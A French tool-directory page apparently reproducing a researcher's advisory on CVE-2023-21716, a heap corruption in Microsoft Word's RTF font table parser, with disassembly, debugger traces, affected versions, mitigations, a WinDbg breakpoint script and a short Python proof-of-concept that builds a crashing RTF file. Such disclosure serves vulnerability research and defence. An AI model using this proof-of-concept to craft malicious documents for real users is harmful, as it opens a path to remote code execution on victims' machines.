Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2023-21716 | Kitploit
Outils/GitHubGitHub/featherstark/cve-2023-21716
Génération de PayloadsAnalyse des VulnérabilitésExploitationTests d'IntrusionExploitation de Binaires
GitHubfeatherstark/cve-2023-21716

CVE-2023-21716

Voir le dépôt
4il y a 3 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2023-21716 Corruption du tas de la table des polices RTF de Microsoft Word

https://twitter.com/jduck

Une vulnérabilité dans wwlib de Microsoft Office permet à un attaquant d'exécuter du code à distance avec les privilèges de la victime qui ouvre un document RTF malveillant. L'attaquant peut livrer ce fichier en pièce jointe d'un e-mail (ou par d'autres moyens).

Contexte

Microsoft Word est l'application de traitement de texte incluse dans Microsoft Office. Lors d'une installation par défaut, Microsoft Word gère les documents au format RTF (Rich-Text Format). Ces documents sont principalement composés de mots-clés basés sur l'ASCII 7 bits qui, ensemble, peuvent encapsuler une grande variété de contenu enrichi.

Détails de la vulnérabilité

Le parseur RTF de Microsoft Word contient une vulnérabilité de corruption du tas lorsqu'il traite une table des polices (\fonttbl) contenant un nombre excessif de polices (\f###). Lors du traitement des polices, la valeur d'identifiant de police (les nombres après un \f) est gérée par le code suivant :

{% highlight asm %} 0d6cf0b6 0fbf0e movsx ecx,word ptr [esi] ; load base idx 0d6cf0b9 0fbf5602 movsx edx,word ptr [esi+2] ; load font idx 0d6cf0bd 8d1451 lea edx,[ecx+edx2] ; multiply by ~3 0d6cf0c0 668b08 mov cx,word ptr [eax] ; load the codepage value 0d6cf0c3 66894c5604 mov word ptr [esi+edx2+4],cx ; write the code page {% endhighlight %}

Comme indiqué, la valeur d'ID de police est chargée par l'instruction « movsx » à 0xd6cf0c3. Cette instruction étend le signe de la valeur chargée, remplissant ainsi les bits supérieurs de edx avec ffff. L'extrait de débogueur suivant illustre le comportement à l'exécution :

root@kitploit:~
*** edx will become: 0x17fc8 (from 0x7fec+0x7fee*2)
*** edx will become: 0x17fc9 (from 0x7fed+0x7fee*2)
*** edx will become: 0x17fde (from 0x7fee+0x7ff8*2)
*** edx will become: 0x17fdf (from 0x7fef+0x7ff8*2)
*** edx will become: 0x17fe0 (from 0x7ff0+0x7ff8*2)
*** edx will become: 0x17fe1 (from 0x7ff1+0x7ff8*2)
*** edx will become: 0x17fe2 (from 0x7ff2+0x7ff8*2)
*** edx will become: 0x17fe3 (from 0x7ff3+0x7ff8*2)
*** edx will become: 0x17fe4 (from 0x7ff4+0x7ff8*2)
*** edx will become: 0x17fe5 (from 0x7ff5+0x7ff8*2)
*** edx will become: 0x17fe6 (from 0x7ff6+0x7ff8*2)
*** edx will become: 0x17fe7 (from 0x7ff7+0x7ff8*2)
*** edx will become: 0xffff7ffc (from 0x7ff8+0xffff8002*2)

Lorsque cela se produit, l'instruction d'écriture mémoire à 0xd6cf0c3 corrompt le tas en écrivant la page de codes de la police à un décalage négatif de la mémoire contenue dans esi. L'extrait de débogueur suivant montre l'écriture mémoire hors limites.

root@kitploit:~
*** writing 0x4e4 to 0xd35ddb4 [0xd32de20+0x17fc8*2+4]
*** writing 0x4e4 to 0xd35ddb6 [0xd32de20+0x17fc9*2+4]
*** writing 0x4e4 to 0xd35dde0 [0xd32de20+0x17fde*2+4]
*** writing 0x4e4 to 0xd35dde2 [0xd32de20+0x17fdf*2+4]
*** writing 0x4e4 to 0xd35dde4 [0xd32de20+0x17fe0*2+4]
*** writing 0x4e4 to 0xd35dde6 [0xd32de20+0x17fe1*2+4]
*** writing 0x4e4 to 0xd35dde8 [0xd32de20+0x17fe2*2+4]
*** writing 0x4e4 to 0xd35ddea [0xd32de20+0x17fe3*2+4]
*** writing 0x4e4 to 0xd35ddec [0xd32de20+0x17fe4*2+4]
*** writing 0x4e4 to 0xd35ddee [0xd32de20+0x17fe5*2+4]
*** writing 0x4e4 to 0xd35ddf0 [0xd32de20+0x17fe6*2+4]
*** writing 0x4e4 to 0xd35ddf2 [0xd32de20+0x17fe7*2+4]
*** writing 0x4e4 to 0xd31de1c [0xd32de20+0xffff7ffc*2+4]

Suite à cette corruption mémoire, un traitement supplémentaire a lieu. Avec une disposition du tas savamment construite, un attaquant peut faire en sorte que la corruption du tas aboutisse à une exécution de code arbitraire.

En utilisant le code de preuve de concept fourni ci-dessous, le traitement atteint finalement le code de nettoyage post-traitement. Comme prévu, RtlFreeHeap est appelé et détecte la corruption du tas, comme illustré ci-dessous.

root@kitploit:~
Critical error detected c0000374
(3ba8.21f4): WOW64 breakpoint - code 4000001f (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
ntdll_77a40000!RtlReportCriticalFailure+0x4b:
77b27012 cc              int     3
0:000:x86> kv
 # ChildEBP RetAddr  Args to Child              
00 008f3834 77b30114 00000001 77b63990 77b2e009 ntdll_77a40000!RtlReportCriticalFailure+0x4b (FPO: [Non-Fpo])
01 008f3840 77b2e009 70dcf286 00000000 1ff78c20 ntdll_77a40000!RtlpReportHeapFailure+0x2f (FPO: [0,0,4])
02 008f3870 77b36480 00000003 00a50000 1ff78c20 ntdll_77a40000!RtlpHpHeapHandleError+0x89 (FPO: [Non-Fpo])
03 008f3888 77b2dd17 1ff78c20 0000000a 00000000 ntdll_77a40000!RtlpLogHeapFailure+0x43 (FPO: [Non-Fpo])
04 008f38ec 77a83f8d 00a50258 70dcf0be 1ff78c20 ntdll_77a40000!RtlpAnalyzeHeapFailure+0x281 (FPO: [Non-Fpo])
05 008f3a48 77ac7b9d 1ff78c20 1ff78c28 1ff78c28 ntdll_77a40000!RtlpFreeHeap+0x24d (FPO: [Non-Fpo])
06 008f3aa4 77a83ce6 00000000 00000000 00000000 ntdll_77a40000!RtlpFreeHeapInternal+0x783 (FPO: [Non-Fpo])
07 008f3ac4 05343c06 00a50000 00000000 1ff78c28 ntdll_77a40000!RtlFreeHeap+0x46 (FPO: [Non-Fpo])
08 008f3adc 06e6e330 1ff78c28 06c8dc6d 08a11040 mso20win32client!Mso::Memory::Free+0x47 (FPO: [Non-Fpo])
09 008f3b0c 0430b5af 08a1104c 08a11040 08a11044 mso!MsoFreePpv+0x84 (FPO: [Non-Fpo])
0a 008f3b28 0430bed0 008f9f0c 008f586c ffffffff wwlib!FreeHribl+0x8c (FPO: [Non-Fpo])
0b 008f3b70 033be323 40280000 00200002 1a772b98 wwlib!PdodCreateRtf+0x243 (FPO: [6,13,4])
0c 008f52bc 02e465db 04012000 20280000 00200002 wwlib!``Osf::SimpleFlight::Details::SetupFlight_String'::`3'::::operator()'::`2'::`dynamic atexit destructor for 'scopes''+0x1e0966
0d 008f5600 03031155 00000000 ffffffff 00000000 wwlib!PdodCreatePfnCore+0x321 (FPO: [Non-Fpo])
0e 008f5680 0301583a 00000000 ffffffff 00000000 wwlib!PdodCreatePfnBPPaapWithEdpi+0x75 (FPO: [18,3,4])
0f 008f8c4c 030175d4 04012000 00000000 00000002 wwlib!PdodOpenFnmCore2+0xf3b (FPO: [Non-Fpo])
10 008f8d14 03c43d9b 04012000 00000000 00000002 wwlib!PdodOpenFnmCore+0xb9 (FPO: [15,30,0])
11 008f9e40 03c43a92 00000000 00000000 00000002 wwlib!FFileOpenXszCore+0x2f6 (FPO: [Non-Fpo])
12 008f9e7c 0343bd43 00000000 00000000 00000002 wwlib!FFileOpenXstzCore+0x3d (FPO: [6,4,0])
13 008fb31c 02d17666 00000001 00000000 02d17609 wwlib!``Osf::SimpleFlight::Details::SetupFlight_String'::`3'::::operator()'::`2'::`dynamic atexit destructor for 'scopes''+0x271a8e
14 008fb554 02c594f5 71fc93df 7625f550 0000000a wwlib!Boot::IfrParseCommandLine2+0x5d (FPO: [Non-Fpo])
15 008fb5c8 02c59317 008fb5f8 02c50000 02c58ff4 wwlib!Boot::FRun+0xb4 (FPO: [Non-Fpo])
16 008ff684 02c59058 96c6d88c 000800e4 71fcd0a7 wwlib!FWordBoot+0x5a (FPO: [Non-Fpo])
17 008ff6b8 00dd1917 00dd0000 00000000 0000000a wwlib!FMain+0x64 (FPO: [Non-Fpo])
18 008ff908 00dd114a 00dd0000 00000000 00a54944 winword!WinMain+0x146 (FPO: [Non-Fpo])
19 008ff954 7625fa29 0069a000 7625fa10 008ff9c0 winword!std::_Deallocate<8,0>+0x1e3 (FPO: [Non-Fpo])
1a 008ff964 77aa7bbe 0069a000 70dc3336 00000000 KERNEL32!BaseThreadInitThunk+0x19 (FPO: [Non-Fpo])
1b 008ff9c0 77aa7b8e ffffffff 77ac8d0f 00000000 ntdll_77a40000!__RtlUserThreadStart+0x2f (FPO: [SEH])
1c 008ff9d0 00000000 00dd1000 0069a000 00000000 ntdll_77a40000!_RtlUserThreadStart+0x1b (FPO: [Non-Fpo])

Les analystes peuvent également utiliser Page Heap pour vérifier que le code tente d'écrire hors limites. Cela aboutit au résultat suivant :

root@kitploit:~
(afe8.9a5c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
wwlib!FSearchFtcmap+0x150:
0dc1f0c3 66894c5604      mov     word ptr [esi+edx*2+4],cx ds:002b:1ebf2fec=????
0:000:x86> kv
 # ChildEBP RetAddr  Args to Child              
00 0135135c 0dc0fa17 013513ec 00000001 013513d8 wwlib!FSearchFtcmap+0x150 (FPO: [Non-Fpo])
01 01353828 0dc0ddb5 ddc5a2cb 0b3d3028 000ad400 wwlib!RtfInRare+0x1845 (FPO: [Non-Fpo])
02 01353c5c 0ef5c473 00000200 0b3d3028 66565a58 wwlib!CchRtfInCore+0x28df (FPO: [Non-Fpo])
03 01353eac 0ef5be04 0b3d302c 0135a294 01355bf4 wwlib!RtfGetChars+0x183 (FPO: [Non-Fpo])
04 01353ef8 0e00e323 40280000 00200002 45646f10 wwlib!PdodCreateRtf+0x177 (FPO: [6,13,4])
05 01355644 0da965db 04012000 20280000 00200002 wwlib!``Osf::SimpleFlight::Details::SetupFlight_String'::`3'::::operator()'::`2'::`dynamic atexit destructor for 'scopes''+0x1e0966
06 01355988 0dc81155 00000000 ffffffff 00000000 wwlib!PdodCreatePfnCore+0x321 (FPO: [Non-Fpo])
07 01355a08 0dc6583a 00000000 ffffffff 00000000 wwlib!PdodCreatePfnBPPaapWithEdpi+0x75 (FPO: [18,3,4])
08 01358fd4 0dc675d4 04012000 00000000 00000002 wwlib!PdodOpenFnmCore2+0xf3b (FPO: [Non-Fpo])
09 0135909c 0e893d9b 04012000 00000000 00000002 wwlib!PdodOpenFnmCore+0xb9 (FPO: [15,30,0])
0a 0135a1c8 0e893a92 00000000 00000000 00000002 wwlib!FFileOpenXszCore+0x2f6 (FPO: [Non-Fpo])
0b 0135a204 0e08bd43 00000000 00000000 00000002 wwlib!FFileOpenXstzCore+0x3d (FPO: [6,4,0])
0c 0135b6a4 0d967666 00000001 00000000 0d967609 wwlib!``Osf::SimpleFlight::Details::SetupFlight_String'::`3'::::operator()'::`2'::`dynamic atexit destructor for 'scopes''+0x271a8e
0d 0135b8dc 0d8a94f5 ddc527df 7625f550 0000000a wwlib!Boot::IfrParseCommandLine2+0x5d (FPO: [Non-Fpo])
0e 0135b954 0d8a9317 0135b984 0d8a0000 0d8a8ff4 wwlib!Boot::FRun+0xb4 (FPO: [Non-Fpo])
0f 0135fa10 0d8a9058 cbd5c9e4 00080138 ddc564d3 wwlib!FWordBoot+0x5a (FPO: [Non-Fpo])
10 0135fa44 00dd1917 00dd0000 00000000 0000000a wwlib!FMain+0x64 (FPO: [Non-Fpo])
11 0135fc94 00dd114a 00dd0000 00000000 05e18ff4 winword!WinMain+0x146 (FPO: [Non-Fpo])
12 0135fce0 7625fa29 011cf000 7625fa10 0135fd4c winword!std::_Deallocate<8,0>+0x1e3 (FPO: [Non-Fpo])
13 0135fcf0 77aa7bbe 011cf000 96082e8a 00000000 KERNEL32!BaseThreadInitThunk+0x19 (FPO: [Non-Fpo])
14 0135fd4c 77aa7b8e ffffffff 77ac8d34 00000000 ntdll_77a40000!__RtlUserThreadStart+0x2f (FPO: [SEH])
15 0135fd5c 00000000 00dd1000 011cf000 00000000 ntdll_77a40000!_RtlUserThreadStart+0x1b (FPO: [Non-Fpo])

Versions affectées

Cette vulnérabilité affecte au moins les versions suivantes de Microsoft Office :

  • Microsoft Office 365 (Insider Preview - 2211 Build 15831.20122 CTR)
  • Microsoft Office 2016 (y compris Insider Slow - 1704 Build 8067.2032 CTR)
  • Microsoft Office 2013
  • Microsoft Office 2010
  • Microsoft Office 2007

Les versions plus anciennes peuvent également être affectées mais n'ont pas été testées. De plus, les détails techniques de cette vulnérabilité ont évolué au fil des ans.

Atténuations

Microsoft Office 2010 et versions ultérieures utilisent le mode protégé (Protected View) pour limiter les dommages causés par des documents malveillants provenant de sources non fiables. Le mode protégé est actif lorsque cette vulnérabilité se manifeste et une vulnérabilité supplémentaire d'évasion de sandbox serait donc nécessaire pour obtenir tous les privilèges.

Supprimer l'association de fichier pour l'extension RTF est inefficace car l'utilisation d'une extension DOC atteindra toujours le code vulnérable.

Remerciements

Ce problème a été découvert, analysé et signalé par Joshua J. Drake (@jduck).

Preuve de concept

Le script Python suivant générera un fichier qui déclenchera ce problème :

{% highlight Python %} #!/usr/bin/python

PoC for:

Microsoft Word RTF Font Table Heap Corruption Vulnerability

by Joshua J. Drake (@jduck)

import sys

allow overriding the number of fonts

num = 32761 if len(sys.argv) > 1: num = int(sys.argv[1])

f = open("tezt.rtf", "wb") f.write("{\rtf1{\n{\fonttbl") for i in range(num): f.write("{\f%dA;}\n" % i) f.write("}\n") f.write("{\rtlch it didn't crash?? no calc?! BOO!!!}\n") f.write("}}\n") f.close() {% endhighlight %}

Notes de test

L'exécution répétée de Microsoft Word avec cette entrée malformée déclenchera le « Mode sans échec » ainsi qu'une liste de blocage spécifique au fichier. Pour observer le comportement qu'une victime verrait, le testeur doit vider l'indicateur « Mode sans échec » et la liste de blocage spécifique au fichier avant de tester à nouveau. Sinon, refuser simplement le « Mode sans échec » et cliquer sur « Ouvrir quand même » suffit pour les nouveaux tests.

L'utilisation de points d'arrêt lourds (tels que ceux fournis ci-dessous) dans WinDbg et l'activation de Page Heap peuvent ralentir considérablement le processus de démarrage. Le chercheur a observé des situations lors des tests où le code vulnérable n'était pas atteint. Un effort minimal a été investi pour en déterminer la cause, mais cela semble lié à une combinaison de Page Heap, de points d'arrêt lourds et d'une fenêtre contextuelle « Quoi de neuf ».

Annexe

Le script suivant a été utilisé dans WinDbg pour générer la sortie ci-dessus. Tous les extraits ont été obtenus avec Office 365 Insider Preview 2211 Build 15831.20122 CTR.

root@kitploit:~
* clear all breakpoints
bc *
* hide the debugger
e ebx+2 00
* run until wwlib is loaded
xe ld:wwlib
g; wait
* make the breakpoints
* watch index calculations
bp wwlib+0x37f0bd ".printf \"*** edx will become: 0x%x (from 0x%x+0x%x*2)\\n\", (ecx+edx*2), ecx, edx;gc"
* watch the writes
bp wwlib+0x37f0c3 ".printf \"*** writing 0x%x to 0x%x [0x%x+0x%x*2+4] (div 3: 0x%x)\\n\", ecx & 0xffff, (esi+(edx*2)+4), esi, edx, edx/3;gc"
g

EOF

Télécharger l’outil